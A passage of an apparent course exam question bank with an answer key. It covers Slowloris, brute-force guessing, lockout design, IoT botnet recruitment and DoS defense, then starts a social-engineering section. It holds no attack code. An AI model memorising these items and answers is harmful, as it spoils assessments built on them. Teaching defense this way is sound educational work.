Answer: C. Slowloris-style application-layer DoS

Why: Long-lived partial HTTP requests are the defining behavior.

Lecture source: p. 46

Q124. [Single answer] Which OSI-layer perspective is most appropriate for Slowloris?

- A. A database schema layer
- B. Application layer (Layer 7)
- C. Physical layer only
- D. Data-link layer only

Answer: B. Application layer (Layer 7)

Why: The attack abuses HTTP request handling.

Lecture source: p. 46

Q125. [Comparison] Which comparison correctly distinguishes Slowloris from a SYN flood?

- A. Slowloris keeps partial HTTP requests open; SYN flood keeps TCP handshakes incomplete
- B. Slowloris uses broadcast ICMP replies; SYN flood uses SQL tautologies
- C. Slowloris and SYN flood both require oversized reassembled packets
- D. Slowloris is a password dictionary, while SYN flood is a macro virus

Answer: A. Slowloris keeps partial HTTP requests open; SYN flood keeps TCP handshakes incomplete

Why: Both consume state, but at different layers and phases.

Lecture source: pp. 30, 46

Q126. [Select all that apply] Which telemetry may indicate a Slowloris-style attack?

- A. Many unusually long-lived HTTP connections
- B. A high number of incomplete HTTP requests
- C. Socket or worker exhaustion despite modest bandwidth
- D. Clients that send headers very slowly
- E. A normal short-lived request pattern

Answer: A, B, C, D. Many unusually long-lived HTTP connections; A high number of incomplete HTTP requests; Socket or worker exhaustion despite modest bandwidth; Clients that send headers very slowly

Why: The attack holds application connections open with partial requests.

Lecture source: p. 46

Q127. [EXCEPT / NOT] All of the following are consistent with Slowloris-style behavior EXCEPT:

- A. Partial HTTP requests
- B. Low bandwidth relative to the impact
- C. A broadcast ICMP echo request with a spoofed victim address
- D. Many open web connections

Answer: C. A broadcast ICMP echo request with a spoofed victim address

Why: Broadcast ICMP amplification describes Smurf, not Slowloris.

Lecture source: pp. 31, 46

Q128. [True / False] A high-bandwidth uplink alone may not stop a Slowloris-style attack.

- A. Only when every host is offline
- B. True
- C. False
- D. Only for encrypted traffic

Answer: B. True

Why: The scarce resource can be server sockets or workers rather than link capacity.

Lecture source: p. 46

Q129. [Assertion-reason] Assertion: Application-layer telemetry is necessary for detecting some DoS attacks. Reason: A low-bandwidth attacker may tie up web-server sockets with many incomplete requests.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Network volume alone can miss application-level exhaustion.

Lecture source: p. 46

Q130. [Defensive design] Which defense direction is most appropriate for a Slowloris-style threat?

- A. Accept unlimited incomplete requests forever
- B. Disable every firewall log
- C. Rely only on SQL parameter binding
- D. Limit abnormal idle or partial-request behavior and monitor connection lifetimes

Answer: D. Limit abnormal idle or partial-request behavior and monitor connection lifetimes

Why: Application-aware limits and monitoring address the consumed resource.

Lecture source: p. 46

Q131. [Mini case study] A team blocks ICMP and UDP floods, but the web server still becomes unavailable under slow partial requests. What should be added?

- A. A plaintext password list
- B. A larger SQL table
- C. Application-aware connection controls and monitoring
- D. More permissive broadcast forwarding

Answer: C. Application-aware connection controls and monitoring

Why: The remaining attack is application-layer and needs service-level controls.

Lecture source: pp. 36, 46

Q132. [Troubleshooting] A volumetric dashboard shows normal bandwidth while user requests time out. The server has thousands of slowly progressing HTTP sessions. What is the likely issue?

- A. A macro-virus signature update
- B. A low-bandwidth application-layer exhaustion attack
- C. A safe VPN tunnel only
- D. A DNSSEC key rotation

Answer: B. A low-bandwidth application-layer exhaustion attack

Why: The symptoms fit Slowloris-style behavior.

Lecture source: p. 46

9. Brute-force guessing: local, remote, dictionary, and targeted strategies

18 questions. Answers appear immediately below each item.

Q133. [Single answer] What is brute force in the authentication context?

- A. Trial-and-error guessing of an unknown value such as a username or password
- B. Encryption of every packet in a VPN
- C. Filtering ICMP broadcast traffic
- D. Binding SQL parameters safely

Answer: A. Trial-and-error guessing of an unknown value such as a username or password

Why: Brute force searches a candidate space through repeated attempts.

Lecture source: p. 50

Q134. [Single answer] Which target can be explored by brute-force techniques besides passwords?

- A. Only cryptographic signatures
- B. Only firewall state tables
- C. Only application source code
- D. Web-server directories or usernames

Answer: D. Web-server directories or usernames

Why: The lecture includes usernames and web directories as examples of invisible entities.

Lecture source: p. 50

Q135. [Comparison] Which comparison correctly distinguishes offline password testing from remote guessing?

- A. Remote guessing never produces logs, while local cracking always blocks users
- B. Both methods require the defender to publish plaintext passwords
- C. Local password cracking works on an obtained copy of verifier data, while remote guessing sends attempts to a network service
- D. Local cracking always creates a DDoS, while remote guessing always uses macros

Answer: C. Local password cracking works on an obtained copy of verifier data, while remote guessing sends attempts to a network service

Why: The location of verification changes visibility and rate-limiting opportunities.

Lecture source: pp. 50-51

Q136. [Scenario] An analyst obtains an authorized copy of password hashes and evaluates password strength without sending login attempts to the live service. Which approach is being used?

- A. Slow HTTP exhaustion
- B. Local offline password testing
- C. Remote online guessing
- D. Smurf amplification

Answer: B. Local offline password testing

Why: Offline testing verifies guesses against copied data.

Lecture source: p. 50

Q137. [Scenario] An attacker repeatedly submits credentials to an exposed remote login endpoint. Which approach is being used?

- A. Remote brute-force guessing
- B. Offline hash analysis only
- C. Packet-fragment reassembly
- D. Prepared statement binding

Answer: A. Remote brute-force guessing

Why: The attempts are verified by a network service.

Lecture source: pp. 50-51

Q138. [Single answer] Why can dictionary attacks be faster than exhaustive brute force?

- A. They force routers to accept broadcasts
- B. They increase the number of database columns
- C. They disable logging automatically
- D. They reduce the search space by prioritizing likely passwords or phrases

Answer: D. They reduce the search space by prioritizing likely passwords or phrases

Why: Likely candidates improve efficiency.

Lecture source: p. 52

Q139. [Single answer] How can personal information help an attacker narrow a password search?

- A. It converts TCP into ICMP
- B. It patches a vulnerable router
- C. Names, birthdays, and related details may be used as likely candidates
- D. It guarantees a SYN cookie

Answer: C. Names, birthdays, and related details may be used as likely candidates

Why: Targeted guessing reduces the search space.

Lecture source: p. 52

Q140. [Single answer] What is a rule-based dictionary permutation?

- A. Bind a SQL value as a literal parameter
- B. Transform likely words using patterns such as substitutions or suffixes to generate additional candidates
- C. Split every TCP fragment into equal pieces
- D. Reroute traffic through a reverse proxy

Answer: B. Transform likely words using patterns such as substitutions or suffixes to generate additional candidates

Why: Rules expand candidate lists in ways that match common password habits.

Lecture source: p. 52

Q141. [Single answer] What is the defensive significance of John the Ripper in this context?

- A. It can be used in authorized offline password-strength assessment
- B. It is a Smurf router setting
- C. It is a SQL sanitizer
- D. It is a reverse-proxy failover protocol

Answer: A. It can be used in authorized offline password-strength assessment

Why: Offline password auditing can identify weak credentials.

Lecture source: pp. 50, 52

Q142. [Single answer] What does a parallelized remote login cracker attempt to improve?

- A. The confidentiality of stored hashes
- B. The accuracy of SQL parameter binding
- C. The robustness of fragment reassembly
- D. The rate at which credential guesses are tried across supported services

Answer: D. The rate at which credential guesses are tried across supported services

Why: Parallelization increases guessing throughput, subject to controls and authorization.

Lecture source: p. 51

Q143. [Single answer] Why is brute-force activity often described as noisy?

- A. It always uses one correct password immediately
- B. It disables every audit system automatically
- C. Repeated failed attempts can generate many log events and detectable patterns
- D. It never reaches a service

Answer: C. Repeated failed attempts can generate many log events and detectable patterns

Why: Repeated trials are observable if logging and monitoring are effective.

Lecture source: p. 53

Q144. [Select all that apply] Which techniques can make guessing more efficient than a naive exhaustive search?

- A. Trying random packets unrelated to authentication
- B. Dictionary candidates
- C. Personal-information candidates
- D. Rule-based permutations
- E. Statistics about common words and phrases
- F. Targeting a reduced set of accounts or services

Answer: B, C, D, E, F. Dictionary candidates; Personal-information candidates; Rule-based permutations; Statistics about common words and phrases; Targeting a reduced set of accounts or services

Why: Attackers improve efficiency by shrinking or prioritizing the candidate space.

Lecture source: pp. 52, 54

Q145. [EXCEPT / NOT] All of the following may reduce the search space for password guessing EXCEPT:

- A. Increasing the number of irrelevant random protocol fields
- B. Using likely words and phrases
- C. Using personal information
- D. Applying transformation rules to dictionaries

Answer: A. Increasing the number of irrelevant random protocol fields

Why: Irrelevant protocol data does not prioritize password candidates.

Lecture source: p. 52

Q146. [True / False] A brute-force campaign may target usernames and web directories as well as passwords.

- A. False
- B. Only for encrypted traffic
- C. Only when every host is offline
- D. True

Answer: D. True

Why: The technique applies to unknown values that can be tested through trial and error.

Lecture source: p. 50

Q147. [True / False] Local offline password testing necessarily sends login requests to the production service.

- A. Only for encrypted traffic
- B. Only when every host is offline
- C. False
- D. True

Answer: C. False

Why: Offline testing can operate on an authorized copy of verifier data.

Lecture source: p. 50

Q148. [Assertion-reason] Assertion: Dictionary attacks can be more efficient than naive exhaustive guessing. Reason: Human-selected passwords often follow predictable word and transformation patterns.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Prioritizing likely candidates improves efficiency.

Lecture source: pp. 52, 54

Q149. [Mini case study] A defender sees a broad set of guesses against one account, each based on common phrases and small variations. Which strategy is the attacker using?

- A. Targeted dictionary guessing with rule-based permutations
- B. Smurf amplification
- C. Teardrop fragmentation
- D. Reverse-proxy failover

Answer: A. Targeted dictionary guessing with rule-based permutations

Why: The candidate set is informed by likely human password patterns.

Lecture source: pp. 52, 54

Q150. [Mini case study] An authorized audit identifies users whose passwords appear in common-password lists. Which defensive action is best?

- A. Publish the list with user identifiers
- B. Disable all logging
- C. Allow unlimited login attempts
- D. Require replacement of weak passwords and block known-compromised choices

Answer: D. Require replacement of weak passwords and block known-compromised choices

Why: Defenders can use attacker-style lists to improve password policy.

Lecture source: p. 54

10. Brute-force detection, account-lockout tradeoffs, and password defense

18 questions. Answers appear immediately below each item.

Q151. [Single answer] What is an important downside of strict account lockout after repeated failed logins?

- A. It prevents all logging
- B. It increases the number of botnet agents
- C. An attacker may deliberately lock out legitimate users and cause denial of service
- D. It guarantees that passwords become plaintext

Answer: C. An attacker may deliberately lock out legitimate users and cause denial of service

Why: Lockout protects authentication but can be abused against availability.

Lecture source: p. 51

Q152. [Scenario] A service disables an account after several incorrect passwords. An attacker intentionally submits bad guesses for many known users, preventing them from signing in. What attack has occurred?

- A. A prepared-statement failure
- B. A denial-of-service abuse of account lockout
- C. A Teardrop fragmentation attack
- D. A safe offline password audit

Answer: B. A denial-of-service abuse of account lockout

Why: Protective lockouts can become an availability weakness when triggered maliciously.

Lecture source: p. 51

Q153. [Single answer] Which control can reduce online guessing without making permanent user lockout the only response?

- A. Rate limiting with monitoring and carefully designed temporary backoff
- B. Unlimited login attempts
- C. Removing all audit logs
- D. Publishing valid usernames

Answer: A. Rate limiting with monitoring and carefully designed temporary backoff

Why: Rate controls slow attackers while avoiding overly blunt availability failures.

Lecture source: pp. 51, 53-54

Q154. [Single answer] Why is good logging important for brute-force defense?

- A. Logs make passwords automatically stronger
- B. Logs prevent every offline attack
- C. Logs replace authentication entirely
- D. Repeated failed attempts should create patterns that defenders can detect and investigate

Answer: D. Repeated failed attempts should create patterns that defenders can detect and investigate

Why: Guessing should be visible as a noisy pattern.

Lecture source: p. 53

Q155. [Scenario] An attacker spreads login attempts across time and many source addresses to avoid simple thresholds. What defender capability is most important?

- A. Disabling timestamps in logs
- B. Ignoring low-rate failures
- C. Correlation of authentication events across time, accounts, and sources
- D. Only a single-packet firewall rule

Answer: C. Correlation of authentication events across time, accounts, and sources

Why: Distributed or delayed patterns require broader analysis.

Lecture source: pp. 53-54

Q156. [Single answer] Why should defenders check password choices against common-password lists?

- A. Lists block all ICMP traffic
- B. Attackers use the same predictable lists to reduce their search space
- C. Lists guarantee infinite entropy
- D. Lists eliminate the need for MFA

Answer: B. Attackers use the same predictable lists to reduce their search space

Why: Rejecting common passwords improves resistance to dictionary guessing.

Lecture source: p. 54

Q157. [Single answer] What does it mean to make combinatorics work against an attacker?

- A. Choose controls and password practices that make the candidate space costly to search
- B. Use identical default passwords everywhere
- C. Disable monitoring
- D. Expose account-validity details publicly

Answer: A. Choose controls and password practices that make the candidate space costly to search

Why: Strong, non-predictable credentials and rate controls raise attack cost.

Lecture source: pp. 53-54

Q158. [Select all that apply] Which measures can reduce online credential-guessing risk?

- A. Temporary backoff with careful lockout design
- B. Multi-factor authentication
- C. Monitoring failed-login patterns
- D. Rejecting common or compromised passwords
- E. Publishing a list of valid usernames
- F. Rate limiting

Answer: A, B, C, D, F. Rate limiting; Temporary backoff with careful lockout design; Multi-factor authentication; Monitoring failed-login patterns; Rejecting common or compromised passwords

Why: Layered authentication controls slow guessing and improve detection without unnecessarily harming availability.

Lecture source: pp. 51, 53-54

Q159. [EXCEPT / NOT] All of the following can strengthen resistance to remote guessing EXCEPT:

- A. Monitoring patterns across accounts and sources
- B. Avoiding default credentials
- C. Providing immediate detailed feedback that confirms whether each submitted username exists
- D. Rate limiting attempts

Answer: C. Providing immediate detailed feedback that confirms whether each submitted username exists

Why: Detailed account-validity feedback supports enumeration.

Lecture source: pp. 10, 53-54

Q160. [Comparison] Which comparison best describes lockout versus rate-limiting tradeoffs?

- A. Monitoring should be removed when lockout is enabled
- B. Permanent lockout may block attackers but can be abused for DoS; rate limiting and monitored temporary backoff can balance security and availability
- C. Rate limiting always makes attacks faster
- D. Account lockout has no availability impact

Answer: B. Permanent lockout may block attackers but can be abused for DoS; rate limiting and monitored temporary backoff can balance security and availability

Why: Authentication controls should consider both security and availability.

Lecture source: p. 51

Q161. [True / False] An authentication defense can accidentally create an availability problem if attackers can trigger lockouts for other users.

- A. True
- B. False
- C. Only for encrypted traffic
- D. Only when every host is offline

Answer: A. True

Why: Controls must be designed against deliberate abuse.

Lecture source: p. 51

Q162. [True / False] Failed-login monitoring is unnecessary because all brute-force attacks are silent.

- A. True
- B. Only for encrypted traffic
- C. Only when every host is offline
- D. False

Answer: D. False

Why: Repeated trials often create detectable noise, although attackers may distribute or delay attempts.

Lecture source: pp. 53-54

Q163. [Assertion-reason] Assertion: Account-lockout policies need careful design.

Reason: An attacker may intentionally trigger lockouts for legitimate users.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: A control for authentication can become a DoS vector.

Lecture source: p. 51

Q164. [Assertion-reason] Assertion: Authentication events should be correlated across multiple dimensions.

Reason: Attackers may distribute and delay attempts to evade simplistic per-source thresholds.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Broader detection catches modulated patterns.

Lecture source: pp. 53-54

Q165. [Defensive design] A remote login service is receiving low-rate guesses from many IP addresses. Which response is best?

- A. Correlate failures across accounts and time, apply adaptive rate controls, and require MFA where appropriate
- B. Only block the first IP and stop monitoring
- C. Publish account-validity responses
- D. Disable authentication logs

Answer: A. Correlate failures across accounts and time, apply adaptive rate controls, and require MFA where appropriate

Why: Distributed guessing requires correlation and layered controls.

Lecture source: pp. 53-54

Q166. [Defensive design] Which policy best reduces predictable-password risk?

- A. Require a default password shared by all devices
- B. Allow usernames as passwords
- C. Disable password changes permanently
- D. Reject common and compromised passwords and encourage strong unique choices

Answer: D. Reject common and compromised passwords and encourage strong unique choices

Why: Attackers prioritize common candidates.

Lecture source: p. 54

Q167. [Mini case study] A help desk reports many users locked out at the same time, but the source addresses differ. What should responders investigate?

- A. A static prepared statement
- B. A Teardrop fragment reassembly patch
- C. A distributed attempt to abuse lockout or guess credentials
- D. A normal file backup only

Answer: C. A distributed attempt to abuse lockout or guess credentials

Why: The pattern may combine brute force with account-lockout DoS.

Lecture source: pp. 51, 53-54

Q168. [Troubleshooting] After enabling strict lockout, support tickets spike because attackers submit invalid passwords for known accounts. What design change is most appropriate?

- A. Disable logs so the spike is invisible
- B. Use monitored temporary backoff, rate limits, MFA, and risk-based controls rather than a simplistic permanent lockout
- C. Remove all authentication controls
- D. Expose usernames to help attackers avoid mistakes

Answer: B. Use monitored temporary backoff, rate limits, MFA, and risk-based controls rather than a simplistic permanent lockout

Why: Controls should resist guessing without making lockout an easy DoS primitive.

Lecture source: p. 51

11. IoT brute-force risk, default credentials, and botnet recruitment

12 questions. Answers appear immediately below each item.

Q169. [Single answer] Why are IoT devices and routers attractive targets for credential guessing?

- A. They may retain default usernames and passwords and expose remote-management services
- B. They always use prepared SQL statements
- C. They never connect to networks
- D. They automatically patch themselves before deployment

Answer: A. They may retain default usernames and passwords and expose remote-management services

Why: Default credentials and exposed services create easy entry points.

Lecture source: p. 56

Q170. [Single answer] Which services are especially relevant when monitoring remote guessing against many IoT devices?

- A. Only local printer drivers
- B. Only SQL primary keys
- C. Only office-document macros
- D. Telnet and SSH

Answer: D. Telnet and SSH

Why: The lecture highlights remote-access services such as Telnet and SSH.

Lecture source: p. 56

Q171. [Scenario] An Internet-exposed router still uses vendor-default credentials. An attacker guesses them and enrolls the device into a flooding network. What is the root cause?

- A. Use of parameterized queries
- B. A reverse proxy frontend
- C. Failure to replace default credentials and secure remote administration
- D. Use of SYN cookies

Answer: C. Failure to replace default credentials and secure remote administration

Why: Weak device credentials enable botnet recruitment.

Lecture source: p. 56

Q172. [Single answer] How can honeypots help defenders understand IoT brute-force campaigns?

- A. They automatically decrypt all C&C traffic
- B. They collect observations about attempted logins, protocols, and attacker behavior
- C. They guarantee that all real devices are patched
- D. They replace every firewall

Answer: B. They collect observations about attempted logins, protocols, and attacker behavior

Why: Instrumented decoys can reveal attack trends.

Lecture source: p. 56

Q173. [Single answer] What is one possible use of a compromised IoT botnet?

- A. Launching DDoS attacks
- B. Creating safe prepared statements
- C. Verifying software signatures only
- D. Providing secure password storage

Answer: A. Launching DDoS attacks

Why: Compromised devices can be coordinated as flooding agents.

Lecture source: p. 56

Q174. [Select all that apply] Which security practices reduce IoT botnet recruitment?

- A. Expose Telnet publicly with a shared default password
- B. Change default credentials
- C. Disable unnecessary remote-management services
- D. Patch firmware where updates are available
- E. Monitor unusual outbound traffic
- F. Segment devices appropriately

Answer: B, C, D, E, F. Change default credentials; Disable unnecessary remote-management services; Patch firmware where updates are available; Monitor unusual outbound traffic; Segment devices appropriately

Why: Device hardening reduces compromise and limits damage.

Lecture source: pp. 36, 56

Q175. [EXCEPT / NOT] All of the following can increase IoT brute-force risk EXCEPT:

- A. Shared vendor-default passwords
- B. Unpatched firmware
- C. Disabling unused management interfaces and replacing default credentials
- D. Internet-exposed Telnet

Answer: C. Disabling unused management interfaces and replacing default credentials

Why: Hardening reduces rather than increases risk.

Lecture source: p. 56

Q176. [Comparison] Which comparison best describes weak versus hardened IoT authentication?

- A. Honeypots automatically patch routers
- B. A weak IoT password can enable botnet recruitment, while a strong unique password and disabled unused services reduce that risk
- C. Default credentials improve resilience, while patching weakens it
- D. Telnet exposure guarantees confidentiality, while SSH always causes DDoS

Answer: B. A weak IoT password can enable botnet recruitment, while a strong unique password and disabled unused services reduce that risk

Why: Credential hygiene and service exposure matter.

Lecture source: p. 56

Q177. [True / False] A compromised router can become part of a DDoS botnet even if the original owner is not intentionally participating.

- A. True
- B. False
- C. Only for encrypted traffic
- D. Only when every host is offline

Answer: A. True

Why: Botnets commonly use compromised devices as agents.

Lecture source: pp. 36, 56

Q178. [Assertion-reason] Assertion: Default credentials should be removed from IoT devices before deployment. Reason: Attackers can use credential guessing to recruit weakly protected devices into botnets.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Device credential hygiene is part of DDoS prevention.

Lecture source: p. 56

Q179. [Mini case study] A honeypot sees repeated automated login attempts against remote-management services using common vendor credentials. What defensive priority follows?

- A. Expose more management ports
- B. Remove network segmentation
- C. Audit exposed devices for default credentials and unnecessary remote access
- D. Disable all logging

Answer: C. Audit exposed devices for default credentials and unnecessary remote access

Why: The telemetry indicates credential-based IoT recruitment attempts.

Lecture source: p. 56

Q180. [Defensive design] Which organization-wide action most directly reduces the chance that unmanaged devices become attack infrastructure?

- A. Remove firewall rules for convenience
- B. Inventory devices, change defaults, patch firmware, restrict management exposure, and monitor outbound behavior
- C. Rely only on user training about SQL syntax
- D. Allow devices to use shared credentials forever

Answer: B. Inventory devices, change defaults, patch firmware, restrict management exposure, and monitor outbound behavior

Why: IoT security requires lifecycle hardening and monitoring.

Lecture source: pp. 36, 56

12. Integrated exam scenarios and misconception checks

14 questions. Answers appear immediately below each item.

Q181. [Mini case study] A service is protected by a firewall that blocks a simple UDP signature. Attackers switch to long-lived partial HTTP requests. What is the best next step?

- A. Add application-aware limits and monitoring because the bottleneck moved to Layer 7
- B. Remove the firewall because filtering never helps
- C. Increase only the UDP allowance
- D. Disable all logs

Answer: A. Add application-aware limits and monitoring because the bottleneck moved to Layer 7

Why: Layered defenses must adapt to the attack mechanism.

Lecture source: pp. 36, 46

Q182. [Mini case study] A login service implements strict logout and then suffers widespread user lockouts caused by automated invalid attempts. Which two security goals are in tension?

- A. Confidentiality and SQL syntax only
- B. Integrity and macro execution only
- C. VPN encryption and DNS caching only
- D. Protecting authentication against guessing and preserving service availability

Answer: D. Protecting authentication against guessing and preserving service availability

Why: A control can reduce guessing while enabling an availability attack if designed poorly.

Lecture source: p. 51

Q183. [Mini case study] A team patches network stacks, enables SYN cookies, and uses distributed reverse proxies. Which statement is most accurate?

- A. Patching makes reverse proxies unnecessary in every case
- B. SYN cookies block all password guessing
- C. The measures reduce several risks but do not eliminate the need for monitoring and application-layer controls
- D. The service is now immune to every possible DoS technique

Answer: C. The measures reduce several risks but do not eliminate the need for monitoring and application-layer controls

Why: DoS protection is layered and ongoing.

Lecture source: pp. 35-39, 46, 48

Q184. [Mini case study] A server cannot accept new TCP connections because the handshake backlog is full. At the same time, no database errors or authentication failures are present. Which diagnosis is strongest?

- A. Macro-virus propagation
- B. SYN-flood-style state exhaustion
- C. SQL injection
- D. Offline password audit

Answer: B. SYN-flood-style state exhaustion

Why: Incomplete connection state points to a transport-layer availability attack.

Lecture source: p. 30

Q185. [Mini case study] A site is overwhelmed by requests from thousands of compromised home routers. What combined response is most strategic?

- A. Filter and absorb traffic while supporting botnet disruption and device-hardening efforts
- B. Only rename the website
- C. Disable backups
- D. Publish router passwords

Answer: A. Filter and absorb traffic while supporting botnet disruption and device-hardening efforts

Why: The current flood and the recruitment ecosystem both matter.

Lecture source: pp. 36-39, 56

Q186. [Mini case study] A defender blocks one attacking IP, but the flood continues from many other addresses. Which assumption was incorrect?

- A. The assumption that TCP has handshakes
- B. The assumption that routers have firmware
- C. The assumption that logging can record events
- D. The assumption that the campaign had a single source

Answer: D. The assumption that the campaign had a single source

Why: DDoS uses multiple sources.

Lecture source: pp. 39, 44-45

Q187. [Misconception check] Which statement best describes the role of a firewall in DoS defense?

- A. A firewall prevents all botnet recruitment without endpoint hardening
- B. A firewall makes application monitoring unnecessary
- C. A firewall is useful against some DoS patterns but cannot by itself solve every availability attack
- D. A firewall guarantees infinite CPU and bandwidth

Answer: C. A firewall is useful against some DoS patterns but cannot by itself solve every availability attack

Why: Controls need to match the attack and bottleneck.

Lecture source: pp. 36-39, 46

Q188. [Misconception check] Which statement best describes the importance of short-lived DoS attacks?

- A. Short attacks never appear in telemetry
- B. Short attacks still matter because disruption can occur before a human responder reacts
- C. Only attacks lasting days can affect availability
- D. Brief floods cannot exhaust finite resources

Answer: B. Short attacks still matter because disruption can occur before a human responder reacts

Why: Fast detection and automated mitigation are valuable.

Lecture source: pp. 16-18

Q189. [Misconception check] Which statement best describes a low-volume HTTP availability attack?

- A. A low-volume HTTP attack may be serious if it holds scarce sockets or workers open
- B. Low bandwidth proves the traffic is harmless
- C. Only ICMP can cause denial of service
- D. HTTP can never consume server resources

Answer: A. A low-volume HTTP attack may be serious if it holds scarce sockets or workers open

Why: Impact depends on the stressed resource, not only traffic volume.

Lecture source: p. 46

Q190. [Misconception check] Which statement best describes the account-lockout design tradeoff?

- A. Lockout has no downside
- B. Authentication controls never affect availability
- C. The safest policy is unlimited guesses
- D. Password-defense controls should consider whether attackers can abuse them to deny access to legitimate users

Answer: D. Password-defense controls should consider whether attackers can abuse them to deny access to legitimate users

Why: Security mechanisms can introduce new abuse paths.

Lecture source: p. 51

Q191. [Select all that apply] Which controls belong in a mature availability-defense program?

- A. Network and application monitoring
- B. Layered filtering and IPS actions
- C. Reverse-proxy or distributed-front-end design where appropriate
- D. Patch and endpoint hygiene
- E. Incident-response playbooks
- F. Removing all telemetry
- G. Capacity planning

Answer: A, B, C, D, E, G. Capacity planning; Network and application monitoring; Layered filtering and IPS actions; Reverse-proxy or distributed-front-end design where appropriate; Patch and endpoint hygiene; Incident-response playbooks

Why: DoS resilience spans architecture, operations, detection, and response.

Lecture source: pp. 26, 35-39, 48

Q192. [EXCEPT / NOT] All of the following are sound technical conclusions about availability defense EXCEPT:

- A. Monitoring should include service-level behavior
- B. A single static assumption about traffic patterns is more important than understanding resource-exhaustion mechanisms
- C. Different DoS techniques stress different resources
- D. Defense should be layered

Answer: B. A single static assumption about traffic patterns is more important than understanding resource-exhaustion mechanisms

Why: Understanding mechanisms and mitigations is more useful than relying on one static traffic assumption.

Lecture source: pp. 12-48

Q193. [Assertion-reason] Assertion: A service can remain vulnerable after one DoS control is deployed.

Reason: Attackers may switch protocols, layers, or bottlenecks.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Defense must evolve with the threat.

Lecture source: pp. 27, 36-39, 46

Q194. [Defensive design] A new Internet-facing service is being designed. Which plan is most complete?

- A. Assume default settings are sufficient
- B. Disable logs to improve speed
- C. Use only one static firewall rule for all threats
- D. Identify bottlenecks, patch systems, use layered filtering and monitoring, design scalable frontends, and test only within an authorized scope

Answer: D. Identify bottlenecks, patch systems, use layered filtering and monitoring, design scalable frontends, and test only within an authorized scope

Why: Availability engineering combines prevention, detection, capacity, and controlled testing.

Lecture source: pp. 26, 35-39, 48

End of cleaned question bank

Use the source-page references to locate the relevant lecture content during revision. Network stress testing, authentication testing, and honeypot deployment must stay within an explicitly authorized scope. Do not run flooding or credential-guessing tools against systems without written permission.

Lecture 7 - Social engineering and phishing

Cleaned exam-style MCQ question bank

199 questions. The correct answer and a concise explanation appear directly below every item.

Exam-style rule: questions test concepts, diagnosis, recognition, defensive design, ethical scope, URL reasoning, email-authentication concepts, and applied scenarios. Administrative details, slide-order recall, screenshot trivia, news-headline trivia, and unsafe operational instructions are excluded.

Source-page references: retained only as a study-navigation aid; they are not part of the question wording.

Coverage map

Section	Questions
1. Social-engineering foundations and security significance	12
2. Digital and physical social-engineering methods	26
3. Attack lifecycle, targeting, contact, and pivoting	17
4. Information gathering, OSINT, and pretext construction	16
5. Persuasion tactics and human decision-making	26
6. Scoped testing, ethics, and safe organizational response	12
7. Phishing mechanisms, channels, and attack outcomes	16
8. Email spoofing, website spoofing, and URL reasoning	21
9. Domain verification, content controls, and phishing detection	23
10. Security education, reporting culture, and simulated campaigns	15
11. Integrated exam scenarios and misconception checks	15
Total	199

Searchable quick reference

Item	Meaning
Social engineering	Influencing human decisions or disclosures through psychological manipulation
Phishing	Deceptive message impersonating a trusted entity
Spear phishing	Tailored phishing aimed at a specific person or group
Whaling / CEO fraud	High-value authority-focused impersonation
Vishing	Voice-channel phishing
Smishing	SMS or text-message phishing
Baiting	Tempting offer or object used as a lure
Waterholing	Compromise of a legitimate site used by the target population
WiFi spoofing	Fake hotspot imitating a legitimate network
Dumpster diving	Searching discarded material for sensitive information
Tailgating	Following an authorized person into a restricted area
Shoulder surfing	Observing or overhearing sensitive information
Pretext	Believable context used to justify a request
Pivoting	Using an initial compromise as a steppingstone
SPF	Checks whether a sending server is authorized for a domain
DKIM	Uses a domain signature to support message authenticity and integrity
False positive	Legitimate message incorrectly classified as malicious
False negative	Phishing message not detected
URL analysis	Identify the actual destination and registered domain
Independent verification	Confirm sensitive requests through a separately obtained trusted channel
Simulated phishing	Authorized exercise for measurement and teaching
Reporting culture	Low-friction, supportive process for reporting suspicious activity

1. Social-engineering foundations and security significance

12 questions. Answers appear immediately below each item.

Q1. [Single answer] Which description best defines social engineering in a cybersecurity context?

- A. Psychological manipulation intended to influence a person into taking an action or disclosing information
- B. Automated packet filtering at a network boundary
- C. Encryption of data at rest
- D. A database normalization technique

Answer: A. Psychological manipulation intended to influence a person into taking an action or disclosing information

Why: Social engineering focuses on influencing human decisions rather than exploiting only technical flaws.

Lecture source: p. 7

Q2. [Single answer] Why can social engineering succeed even when an organization uses strong technical controls?

- A. Technical controls automatically disclose passwords
- B. Encryption prevents staff training
- C. Firewalls eliminate the need for access procedures
- D. People can be persuaded to bypass or misuse otherwise sound controls

Answer: D. People can be persuaded to bypass or misuse otherwise sound controls

Why: Human decision-making remains part of the attack surface.

Lecture source: pp. 7, 20-21

Q3. [Scenario] An attacker persuades an employee to reveal an internal document that the employee is authorized to access. What type of weakness was primarily exploited?

- A. A broken cryptographic hash
- B. A routing-loop condition
- C. A human decision-making weakness
- D. A buffer-overflow condition

Answer: C. A human decision-making weakness

Why: The attacker influenced an authorized person rather than directly breaking a technical control.

Lecture source: p. 7

Q4. [Comparison] Which comparison is most accurate regarding the possible uses of social engineering?

- A. Social engineering is identical to malware propagation
- B. Social engineering can be used maliciously or ethically, depending on the objective and authorization
- C. Social engineering is always illegal, while technical testing is always legal
- D. Social engineering affects only physical security, while phishing affects only software

Answer: B. Social engineering can be used maliciously or ethically, depending on the objective and authorization

Why: The same influence techniques may be used for scams, security awareness, or positive behavior change.

Lecture source: p. 7

